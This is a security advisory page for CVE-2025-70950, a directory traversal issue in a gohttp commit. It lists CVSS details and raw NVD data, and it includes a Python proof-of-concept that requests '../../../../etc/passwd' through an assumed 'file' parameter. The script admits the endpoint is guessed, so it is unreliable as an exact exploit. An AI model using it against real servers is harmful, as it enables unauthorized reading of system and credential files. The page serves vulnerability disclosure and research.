Security Vulnerability Report
中文
CVE-2025-70950 CVSS 7.3 HIGH

CVE-2025-70950

Published: 2026-05-19 15:16:27
Last Modified: 2026-05-19 18:04:29

Description

An issue in gohttp commit 34ea51 allows attackers to execute a directory traversal via supplying a crafted request.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

gohttp commit 34ea51

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_directory_traversal(target_url): """ PoC for CVE-2025-70950 (gohttp Directory Traversal) Attempts to read /etc/passwd from the target server. """ # Payload to traverse directories traversal_payload = "../../../../etc/passwd" # Construct the full URL (Assuming the vulnerable endpoint accepts a file parameter) # Adjust the endpoint path based on the specific gohttp implementation exploit_url = f"{target_url}/?file={traversal_payload}" try: print(f"[*] Sending request to: {exploit_url}") response = requests.get(exploit_url, timeout=10) if response.status_code == 200: # Check if the response contains typical file content if "root:" in response.text: print("[+] Exploit successful! Sensitive file content retrieved:") print(response.text) else: print("[-] Request sent, but file content not recognized.") print(response.text[:200]) else: print(f"[-] Exploit failed. Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:8080" exploit_directory_traversal(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-70950", "sourceIdentifier": "[email protected]", "published": "2026-05-19T15:16:27.180", "lastModified": "2026-05-19T18:04:29.373", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in gohttp commit 34ea51 allows attackers to execute a directory traversal via supplying a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://gist.github.com/Lime-Cocoa/202127ae5f4dcc4b39909ce7ac1c8466", "source": "[email protected]"}, {"url": "https://github.com/itang/gohttp/issues/13", "source": "[email protected]"}]}}